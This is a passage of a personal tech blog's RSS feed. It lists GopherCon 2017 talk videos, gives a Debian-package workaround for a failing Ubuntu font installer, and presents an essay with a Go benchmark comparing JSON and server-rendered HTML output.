&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=V74JnrGTwKA&#34;&gt;Rhys Hiltner - An Introduction to &amp;ldquo;go tool trace&amp;rdquo;&lt;/a&gt;
[37:21]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=SIl3wi1iWPE&#34;&gt;Ian Schenck - Operability in Go&lt;/a&gt;
[19:56]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=XPC-hFL-4lU&#34;&gt;Kelsey Hightower - Self Deploying Kubernetes Applications&lt;/a&gt;
[22:03]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=QoetRI2KHvc&#34;&gt;Waldemar Quevedo - Writing Networking Clients in Go&lt;/a&gt;
[40:33]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=lD0Qx7ZB_MU&#34;&gt;Will Hawkins - Go at the DARPA Cyber Grand Challenge&lt;/a&gt;
[35:42]&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;gophercon-2017---lightning-talks&#34;&gt;GopherCon 2017 - Lightning talks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=RW49puXPryg&#34;&gt;Areg Melik Adamyan - Let NFV Go: Experimental Framework for Network Functions&lt;/a&gt;
[9:37]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=N4RnFEDaQdg&#34;&gt;Harvey Laue - Interface Driven HTTP Response Writers&lt;/a&gt;
[8:12]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=xAZfWVBhEs4&#34;&gt;Joey Geiger - Regular expressions, do you need them?&lt;/a&gt;
[3:12]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=imsOYgv3HkU&#34;&gt;Landon Jones - AI and Go II: Time For Action&lt;/a&gt;
[9:54]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=TjZeWUVlKd4&#34;&gt;Michael Stapelberg - RobustIRC&lt;/a&gt;
[9:46]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=4E9GT1aHIpc&#34;&gt;Aarti Parikh - A tale of two chat servers&lt;/a&gt;
[7:23]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=nsFcUn-RBuI&#34;&gt;Nyah Check - Becoming a better hacker, lessons learned from Poetry&lt;/a&gt;
[7:02]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=yWTWKqYQ8Zk&#34;&gt;Sukrit Handa - Introduction to Hyperledger Fabric&lt;/a&gt;
[7:35]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=nv_lYi3PYws&#34;&gt;Daniel Selans - Distributed Remote Monitoring in Go&lt;/a&gt;
[8:51]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=oiorteQg9n0&#34;&gt;Pete Garcin - Building an ML-Powered Game AI Using TensorFlow in Go&lt;/a&gt;
[7:45]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=7y2LhWm04FU&#34;&gt;George Tankersley - I wanna Go fast&lt;/a&gt;
[8:22]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=3NwWiSEr4NE&#34;&gt;Darren McCleary - Beating GCP&#39;s MapReduce with Go at The New York Times&lt;/a&gt;
[9:45]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=DgNiktCFuBg&#34;&gt;Matt Layher - Ethernet and Go&lt;/a&gt;
[5:34]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=oDFerBdr2J0&#34;&gt;Aditya Mukerjee - Translating Go to Other (Human) Languages, and Back Again&lt;/a&gt;
[9:42]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=nIlM_HUfyw0&#34;&gt;Chris Short - Golang to the rescue: Saving DevOps from TLS turmoil&lt;/a&gt;
[5:55]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=eZwR8qr2BfI&#34;&gt;Carolyn VanSlyck - go dep in 10 minutes&lt;/a&gt;
[9:30]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=RgudiksfL-k&#34;&gt;Emile Vauge - Effective ingress traffic management with Traefik&lt;/a&gt;
[6:45]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=5bm1r6cjD-c&#34;&gt;Tim Burks - A Go Platform for Polyglot REST API Code Generation&lt;/a&gt;
[9:03]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=zSW0nKArIvU&#34;&gt;Owen Ou - Godzilla: a ES2015 to Go source code transpiler&lt;/a&gt;
[6:04]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=Fp-79QX12Xg&#34;&gt;Sergey Ignatov - Gogland Tips and Tricks&lt;/a&gt;
[9:28]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=C1EtfDnsdDs&#34;&gt;Bryan C Mills - An overview of sync.Map&lt;/a&gt;
[8:10]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=Z9v8jEBllu0&#34;&gt;Vladimir Vivien - Calling Go Functions from Other Languages&lt;/a&gt;
[9:11]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=GYLOmwIqP-M&#34;&gt;Vitor De Mario - Abracadabra - Finding genetic mutations in Go&lt;/a&gt;
[8:22]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=SwAhE5zgsbQ&#34;&gt;Ramya Rao - Go with Visual Studio Code&lt;/a&gt;
[10:07]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=OMhXJD54ZDM&#34;&gt;Brian Scott - Go at Disney&lt;/a&gt;
[8:04]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=vqLhLMm-mE4&#34;&gt;Tom Elliott - Introducing Edward for Simplified Microservices&lt;/a&gt;
[9:23]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=QPfyMnQSpiM&#34;&gt;Marc Antoine Ruel - periph.io: a lean performant hardware library&lt;/a&gt;
[9:43]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=nz3Fd6vQupg&#34;&gt;Marcin Spoczyski - Anomaly Detection in Go&lt;/a&gt;
[7:03]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=KnGvs8l2BCI&#34;&gt;Blain Smith - Generating Hundreds of Video Catalog Feeds in Seconds&lt;/a&gt;
[8:51]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=_p7-BWCNzzc&#34;&gt;Bob Argenbright - Simple Plugin Architectures in Go&lt;/a&gt;
[9:53]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=4k3yl9k6BFA&#34;&gt;Sharon Allsup - Ultimate Coffee: It tastes as good as it smells&lt;/a&gt;
[9:09]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=_wW2U9SGKKI&#34;&gt;Jonathan Amsterdam - Errors as Side Notes&lt;/a&gt;
[4:55]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That should keep you busy for a while. Enjoy!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>15th of July was the last day of <a href="https://www.gophercon.com/">GopherCon 2017</a>,
the &ldquo;Largest event in the world dedicated to the Go programming language.&rdquo; It
was held in the Colorado Convention Center in Denver. Today (only 9 days later)
the videos from the conference are online! There are 26 videos online now and 32
lightning talks, so most of the conference is available here (also from
<a href="http://tqdev.com/2016-gophercon-2016-videos-online">last year</a>).</p>
<h3 id="gophercon-2017">GopherCon 2017</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=ha8gdZ27wMo">Peter Bourgon - Evolutionary Optimization with Go</a>
[39:18]</li>
<li><a href="https://www.youtube.com/watch?v=5doOcaMXx08">Tammy Butow - Go Reliability and Durability at Dropbox</a>
[27:21]</li>
<li><a href="https://www.youtube.com/watch?v=OuT8YYAOOVI">Joe Tsai - Forward Compatible Go Code</a>
[26:29]</li>
<li><a href="https://www.youtube.com/watch?v=0Zbh_vmAKvk">Russ Cox - The Future of Go</a>
[24:37]</li>
<li><a href="https://www.youtube.com/watch?v=T4AIQ4RHp-c">Fatih Arslan - Writing a Go Tool to Parse and Modify Struct Tags</a>
[35:36]</li>
<li><a href="https://www.youtube.com/watch?v=KBZlN0izeiY">Kavya Joshi - Understanding Channels</a>
[21:45]</li>
<li><a href="https://www.youtube.com/watch?v=CB_VfgwPmxQ">Filippo Valsorda - Encrypting the Internet with Go</a>
[41:43]</li>
<li><a href="https://www.youtube.com/watch?v=x-LhC-J2Vbk">David Crawshaw - Go Build Modes</a>
[44:19]</li>
<li><a href="https://www.youtube.com/watch?v=uTMvKVma5ms">Keith Randall - Generating Better Machine Code with SSA</a>
[34:44]</li>
<li><a href="https://www.youtube.com/watch?v=IiYHDDz_7mE">Kris Nova - Valuable Lessons in Over-Engineering the Core of Kubernetes kops</a>
[25:02]</li>
<li><a href="https://www.youtube.com/watch?v=c8Fwb4KbVJM">Aaron Schlesinger - Functional Programming in Go</a>
[35:28]</li>
<li><a href="https://www.youtube.com/watch?v=PdtsV1OOkKc">Scott Mansfield - Creating a Custom Serialization Format</a>
[37:32]</li>
<li><a href="https://www.youtube.com/watch?v=8hQG7QlcLBk">Mitchell Hashimoto - Advanced Testing with Go</a>
[44:59]</li>
<li><a href="https://www.youtube.com/watch?v=6sBBTFXOq44">Ashley McNamara - My Journey to Go</a>
[12:25]</li>
<li><a href="https://www.youtube.com/watch?v=PXdao4VxQMQ">Michael Hausenblas - The Fallacies Of Distributed Gomputing</a>
[34:15]</li>
<li><a href="https://www.youtube.com/watch?v=ltqV6pDKZD8">Edward Muller - Go Anti-Patterns</a>
[38:14]</li>
<li><a href="https://www.youtube.com/watch?v=hz6d7rzqJ6Q">Jon Bodner - Runtime Generated, Typesafe, and Declarative: Pick Any Three</a>
[39:55]</li>
<li><a href="https://www.youtube.com/watch?v=5LtMb090AZI">Sam Boyer - The New Era of Go Package Management</a>
[32:00]</li>
<li><a href="https://www.youtube.com/watch?v=ttebJcN5bgQ">Marty Schoch - Building a High-Performance Key/Value Store in Go</a>
[34:00]</li>
<li><a href="https://www.youtube.com/watch?v=01w7viEZzXQ">Liz Rice - A Go Programmer's Guide to Syscalls</a>
[34:45]</li>
<li><a href="https://www.youtube.com/watch?v=7FZ6ZyzGex0">Alan Shreve - grpc: From Tutorial to Production</a>
[43:51]</li>
<li><a href="https://www.youtube.com/watch?v=V74JnrGTwKA">Rhys Hiltner - An Introduction to &ldquo;go tool trace&rdquo;</a>
[37:21]</li>
<li><a href="https://www.youtube.com/watch?v=SIl3wi1iWPE">Ian Schenck - Operability in Go</a>
[19:56]</li>
<li><a href="https://www.youtube.com/watch?v=XPC-hFL-4lU">Kelsey Hightower - Self Deploying Kubernetes Applications</a>
[22:03]</li>
<li><a href="https://www.youtube.com/watch?v=QoetRI2KHvc">Waldemar Quevedo - Writing Networking Clients in Go</a>
[40:33]</li>
<li><a href="https://www.youtube.com/watch?v=lD0Qx7ZB_MU">Will Hawkins - Go at the DARPA Cyber Grand Challenge</a>
[35:42]</li>
</ul>
<h3 id="gophercon-2017---lightning-talks">GopherCon 2017 - Lightning talks</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=RW49puXPryg">Areg Melik Adamyan - Let NFV Go: Experimental Framework for Network Functions</a>
[9:37]</li>
<li><a href="https://www.youtube.com/watch?v=N4RnFEDaQdg">Harvey Laue - Interface Driven HTTP Response Writers</a>
[8:12]</li>
<li><a href="https://www.youtube.com/watch?v=xAZfWVBhEs4">Joey Geiger - Regular expressions, do you need them?</a>
[3:12]</li>
<li><a href="https://www.youtube.com/watch?v=imsOYgv3HkU">Landon Jones - AI and Go II: Time For Action</a>
[9:54]</li>
<li><a href="https://www.youtube.com/watch?v=TjZeWUVlKd4">Michael Stapelberg - RobustIRC</a>
[9:46]</li>
<li><a href="https://www.youtube.com/watch?v=4E9GT1aHIpc">Aarti Parikh - A tale of two chat servers</a>
[7:23]</li>
<li><a href="https://www.youtube.com/watch?v=nsFcUn-RBuI">Nyah Check - Becoming a better hacker, lessons learned from Poetry</a>
[7:02]</li>
<li><a href="https://www.youtube.com/watch?v=yWTWKqYQ8Zk">Sukrit Handa - Introduction to Hyperledger Fabric</a>
[7:35]</li>
<li><a href="https://www.youtube.com/watch?v=nv_lYi3PYws">Daniel Selans - Distributed Remote Monitoring in Go</a>
[8:51]</li>
<li><a href="https://www.youtube.com/watch?v=oiorteQg9n0">Pete Garcin - Building an ML-Powered Game AI Using TensorFlow in Go</a>
[7:45]</li>
<li><a href="https://www.youtube.com/watch?v=7y2LhWm04FU">George Tankersley - I wanna Go fast</a>
[8:22]</li>
<li><a href="https://www.youtube.com/watch?v=3NwWiSEr4NE">Darren McCleary - Beating GCP's MapReduce with Go at The New York Times</a>
[9:45]</li>
<li><a href="https://www.youtube.com/watch?v=DgNiktCFuBg">Matt Layher - Ethernet and Go</a>
[5:34]</li>
<li><a href="https://www.youtube.com/watch?v=oDFerBdr2J0">Aditya Mukerjee - Translating Go to Other (Human) Languages, and Back Again</a>
[9:42]</li>
<li><a href="https://www.youtube.com/watch?v=nIlM_HUfyw0">Chris Short - Golang to the rescue: Saving DevOps from TLS turmoil</a>
[5:55]</li>
<li><a href="https://www.youtube.com/watch?v=eZwR8qr2BfI">Carolyn VanSlyck - go dep in 10 minutes</a>
[9:30]</li>
<li><a href="https://www.youtube.com/watch?v=RgudiksfL-k">Emile Vauge - Effective ingress traffic management with Traefik</a>
[6:45]</li>
<li><a href="https://www.youtube.com/watch?v=5bm1r6cjD-c">Tim Burks - A Go Platform for Polyglot REST API Code Generation</a>
[9:03]</li>
<li><a href="https://www.youtube.com/watch?v=zSW0nKArIvU">Owen Ou - Godzilla: a ES2015 to Go source code transpiler</a>
[6:04]</li>
<li><a href="https://www.youtube.com/watch?v=Fp-79QX12Xg">Sergey Ignatov - Gogland Tips and Tricks</a>
[9:28]</li>
<li><a href="https://www.youtube.com/watch?v=C1EtfDnsdDs">Bryan C Mills - An overview of sync.Map</a>
[8:10]</li>
<li><a href="https://www.youtube.com/watch?v=Z9v8jEBllu0">Vladimir Vivien - Calling Go Functions from Other Languages</a>
[9:11]</li>
<li><a href="https://www.youtube.com/watch?v=GYLOmwIqP-M">Vitor De Mario - Abracadabra - Finding genetic mutations in Go</a>
[8:22]</li>
<li><a href="https://www.youtube.com/watch?v=SwAhE5zgsbQ">Ramya Rao - Go with Visual Studio Code</a>
[10:07]</li>
<li><a href="https://www.youtube.com/watch?v=OMhXJD54ZDM">Brian Scott - Go at Disney</a>
[8:04]</li>
<li><a href="https://www.youtube.com/watch?v=vqLhLMm-mE4">Tom Elliott - Introducing Edward for Simplified Microservices</a>
[9:23]</li>
<li><a href="https://www.youtube.com/watch?v=QPfyMnQSpiM">Marc Antoine Ruel - periph.io: a lean performant hardware library</a>
[9:43]</li>
<li><a href="https://www.youtube.com/watch?v=nz3Fd6vQupg">Marcin Spoczyski - Anomaly Detection in Go</a>
[7:03]</li>
<li><a href="https://www.youtube.com/watch?v=KnGvs8l2BCI">Blain Smith - Generating Hundreds of Video Catalog Feeds in Seconds</a>
[8:51]</li>
<li><a href="https://www.youtube.com/watch?v=_p7-BWCNzzc">Bob Argenbright - Simple Plugin Architectures in Go</a>
[9:53]</li>
<li><a href="https://www.youtube.com/watch?v=4k3yl9k6BFA">Sharon Allsup - Ultimate Coffee: It tastes as good as it smells</a>
[9:09]</li>
<li><a href="https://www.youtube.com/watch?v=_wW2U9SGKKI">Jonathan Amsterdam - Errors as Side Notes</a>
[4:55]</li>
</ul>
<p>That should keep you busy for a while. Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Ubuntu ttf-mscorefonts-installer fails</title>
      <link>https://www.tqdev.com/2017-ubuntu-ttf-mscorefonts-installer-fails/</link>
      <pubDate>Mon, 10 Jul 2017 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-ubuntu-ttf-mscorefonts-installer-fails/</guid>
      <description>&lt;p&gt;You may download Microsoft&amp;rsquo;s TrueType core fonts for free, even on Ubuntu. They
are available in a packaged named &lt;code&gt;ttf-mscorefonts-installer&lt;/code&gt;. But it is really
annoying that when you try to install &lt;code&gt;ttf-mscorefonts-installer&lt;/code&gt; it keeps
failing with strange error messages like:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;W: Can&#39;t drop privileges for downloading as file &#39;/var/lib/update-notifier/package-data-downloads/partial/andale32.exe&#39; couldn&#39;t be accessed by user &#39;_apt&#39;.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;or:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;E: Failed to fetch https ://heanet.dl.sourceforge.net/project/corefonts/the fonts/final/andale32.exe  Protocol &amp;quot;http&amp;quot; not supported or disabled in libcurl&lt;/code&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>You may download Microsoft&rsquo;s TrueType core fonts for free, even on Ubuntu. They
are available in a packaged named <code>ttf-mscorefonts-installer</code>. But it is really
annoying that when you try to install <code>ttf-mscorefonts-installer</code> it keeps
failing with strange error messages like:</p>
<p><code>W: Can't drop privileges for downloading as file '/var/lib/update-notifier/package-data-downloads/partial/andale32.exe' couldn't be accessed by user '_apt'.</code></p>
<p>or:</p>
<p><code>E: Failed to fetch https ://heanet.dl.sourceforge.net/project/corefonts/the fonts/final/andale32.exe  Protocol &quot;http&quot; not supported or disabled in libcurl</code></p>
<p>Fortunately there is a simple workaround as there is some problem that is
actually fixed in the corresponding Debian package:</p>
<pre><code>sudo apt-get -y remove --purge ttf-mscorefonts-installer
wget http://ftp.de.debian.org/debian/pool/contrib/m/msttcorefonts/ttf-mscorefonts-installer_3.6_all.deb -P ~/Downloads
sudo apt install ~/Downloads/ttf-mscorefonts-installer_3.6_all.deb
</code></pre>
<p>Hopefully this post will also help you find the solution to this annoying
problem. Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Client side rendering is a lie</title>
      <link>https://www.tqdev.com/2016-client-side-rendering-lie/</link>
      <pubDate>Tue, 27 Jun 2017 03:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-client-side-rendering-lie/</guid>
      <description>&lt;p&gt;We currently see that MVVM frameworks like Angular and React are booming in
popularity. Not taking anything for granted, I was wondering last week: does
&amp;ldquo;Client side rendering for scalability&amp;rdquo; even make sense? Is it a beneficial to
send JSON over the wire and render it on the client? Does that lower the load on
the server, compared to rendering the HTML? How expensive is the HTML
templating? Is it more expensive to generate HTML than to generate the JSON it
is based on? My feeling says it does, but is it true and how much does it
matter?&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>We currently see that MVVM frameworks like Angular and React are booming in
popularity. Not taking anything for granted, I was wondering last week: does
&ldquo;Client side rendering for scalability&rdquo; even make sense? Is it a beneficial to
send JSON over the wire and render it on the client? Does that lower the load on
the server, compared to rendering the HTML? How expensive is the HTML
templating? Is it more expensive to generate HTML than to generate the JSON it
is based on? My feeling says it does, but is it true and how much does it
matter?</p>
<h3 id="pros-and-cons-of-client-side-rendering">Pros and cons of client side rendering</h3>
<p>Although scalability is the only thing I am interested in, let&rsquo;s first take a
look at the various pros and cons of client side rendering:</p>
<h4 id="reasons-to-apply-client-side-rendering">Reasons to apply client side rendering</h4>
<ol>
<li>Scalability: using the CPUs in the client devices for templating</li>
<li>Modularity: micro-service architecture with JSON APIs</li>
<li>Workflow: Front-end and back-end work can be done independently</li>
<li>Cachability: more data is static and can be cached (by a CDN)</li>
<li>Real-time: some components never change while others need live updates</li>
<li>Bandwidth: better caching and selective updates cause less data traffic</li>
</ol>
<h4 id="reasons-to-not-apply-client-side-rendering">Reasons to NOT apply client side rendering</h4>
<ol>
<li>Complexity: a single run-time (on the server) is easier to debug</li>
<li>Testability: automating cross-browser tests executing JavaScript is hard</li>
<li>Performance: mobile devices may execute JavaScript quite slow</li>
<li>Search Engines: apparently they still don&rsquo;t like JavaScript</li>
</ol>
<h3 id="scaling-with-client-side-rendering-in-theory">Scaling with client side rendering in theory</h3>
<p>On the upside:</p>
<p>The cost of combining HTML and JSON data is moved from the server to the client.
This may have a positive influence on the load on the servers. Also the
cachability of the templates increases, which allows for faster delivery of HTML
via a CDN or from local cache reducing the bandwidth.</p>
<p>On the downside:</p>
<p>Javascript execution is increasing the client render time often to a point where
page loads take seconds. This increases the need for single page applications
that in turn load their content often in a cascading fashion and need to render
intermediate results and spinners to ensure that the visitor understands that
the page is (still) loading. Loaders and intermediate renders that in turn
increase the total loading time.</p>
<h3 id="scaling-with-client-side-rendering-in-practice">Scaling with client side rendering in practice</h3>
<p>It is a trade-off, but I think we can agree that HTML can be pretty sparse (all
assets can be in other files). The overhead will thus not be so big. Both JSON
and HTML need escaping so there really is not so much difference. You will use
more bandwidth, but what you get in return is more control over the render time
of the HTML and an independence of JavaScript.</p>
<h3 id="a-code-example">A code example</h3>
<p>Here is some (Go) code that actually allows you to benchmark json output versus
templating output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span> <span class="nx">main</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">	<span class="s">&#34;encoding/json&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="s">&#34;fmt&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="s">&#34;log&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="s">&#34;net/http&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="s">&#34;net/url&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="s">&#34;strconv&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="s">&#34;strings&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="s">&#34;github.com/shiyanhui/hero/examples/app/template&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">func</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nx">http</span><span class="p">.</span><span class="nf">HandleFunc</span><span class="p">(</span><span class="s">&#34;/&#34;</span><span class="p">,</span> <span class="kd">func</span><span class="p">(</span><span class="nx">w</span> <span class="nx">http</span><span class="p">.</span><span class="nx">ResponseWriter</span><span class="p">,</span> <span class="nx">req</span> <span class="o">*</span><span class="nx">http</span><span class="p">.</span><span class="nx">Request</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nx">count</span> <span class="o">:=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">		<span class="nx">u</span><span class="p">,</span> <span class="nx">_</span> <span class="o">:=</span> <span class="nx">url</span><span class="p">.</span><span class="nf">ParseRequestURI</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">RequestURI</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="nx">request</span> <span class="o">:=</span> <span class="nx">strings</span><span class="p">.</span><span class="nf">Split</span><span class="p">(</span><span class="nx">strings</span><span class="p">.</span><span class="nf">Trim</span><span class="p">(</span><span class="nx">u</span><span class="p">.</span><span class="nx">Path</span><span class="p">,</span> <span class="s">&#34;/&#34;</span><span class="p">),</span> <span class="s">&#34;/&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="nx">request</span><span class="p">)</span> <span class="p">&gt;</span> <span class="mi">1</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nx">count</span><span class="p">,</span> <span class="nx">_</span> <span class="p">=</span> <span class="nx">strconv</span><span class="p">.</span><span class="nf">Atoi</span><span class="p">(</span><span class="nx">request</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="nx">userList</span> <span class="o">:=</span> <span class="nb">make</span><span class="p">([]</span><span class="kt">string</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">for</span> <span class="nx">i</span> <span class="o">:=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="p">&lt;</span> <span class="nx">count</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nx">userList</span> <span class="p">=</span> <span class="nb">append</span><span class="p">(</span><span class="nx">userList</span><span class="p">,</span> <span class="s">&#34;Alice&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="nx">userList</span> <span class="p">=</span> <span class="nb">append</span><span class="p">(</span><span class="nx">userList</span><span class="p">,</span> <span class="s">&#34;Bob&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="nx">userList</span> <span class="p">=</span> <span class="nb">append</span><span class="p">(</span><span class="nx">userList</span><span class="p">,</span> <span class="s">&#34;Tom&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="k">switch</span> <span class="nx">request</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">case</span> <span class="s">&#34;html&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">			<span class="nx">template</span><span class="p">.</span><span class="nf">UserListToWriter</span><span class="p">(</span><span class="nx">userList</span><span class="p">,</span> <span class="nx">w</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">case</span> <span class="s">&#34;json&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">			<span class="nx">b</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">json</span><span class="p">.</span><span class="nf">Marshal</span><span class="p">(</span><span class="nx">userList</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span> <span class="nx">err</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;error:&#34;</span><span class="p">,</span> <span class="nx">err</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">			<span class="nx">w</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="nx">b</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">})</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nx">log</span><span class="p">.</span><span class="nf">Fatal</span><span class="p">(</span><span class="nx">http</span><span class="p">.</span><span class="nf">ListenAndServe</span><span class="p">(</span><span class="s">&#34;:8080&#34;</span><span class="p">,</span> <span class="kc">nil</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>I used the following scripts to benchmark:</p>
<pre><code>ab -c 10 -n 100000 http://localhost:8080/json/200
ab -c 10 -n 100000 http://localhost:8080/html/200
</code></pre>
<p>The results:</p>
<pre><code>JSON: 13113 requests/sec @ 52480 Kbytes/sec in 7.6 seconds
HTML: 11036 requests/sec @ 420499 Kbytes/sec in 9.1 seconds
</code></pre>
<p>As you can see the output of the HTML is about 10x as large as the output of the
JSON, but the performance difference is not so big. NB: When gzip is enabled the
HTML is only 5x larger in this specific case.</p>
<h3 id="html-file-sizes">HTML file sizes</h3>
<p>If the majority of your users are working over 3G and they are mainly sending
JSON back and forth, then you may think that switching to server side rendering
may severely impact your performance as performance on slow connections is
highly impacted by transfer size. But it&rsquo;s typically also these users that are
on a mobile device with a slow CPU and where client side rendering may take a
long time. Only an actual test case for your application may prove what the
experience is of either solution.</p>
<p>Let me give you a calculation example: client side rendering takes 2.5 seconds
on slow device, while the JSON and HTML sizes are 5 and 50 Kbyte on a 20 Kbyte
per second 3G connection. This means that if the server side rendered page shows
in less than 250 milliseconds the server side rendering is faster. I have seen
such average numbers in real life applications and I think they are realistic.</p>
<h3 id="be-skeptical">Be skeptical!</h3>
<p>I urge you to not take my word for it. If you now do client side rendering, then
go and try server side rendering out! You may greatly improve the performance
and reliability of your web application while accidentally reducing complexity
and improving testability. Do it! What do have to lose?</p>
]]></content:encoded>
    </item>
    <item>
      <title>Xubuntu with Gedit, Nautilus and Plank</title>
      <link>https://www.tqdev.com/2017-xubuntu-with-gedit-nautilus-and-plank/</link>
      <pubDate>Wed, 07 Jun 2017 08:00:00 +0000</pubDate>
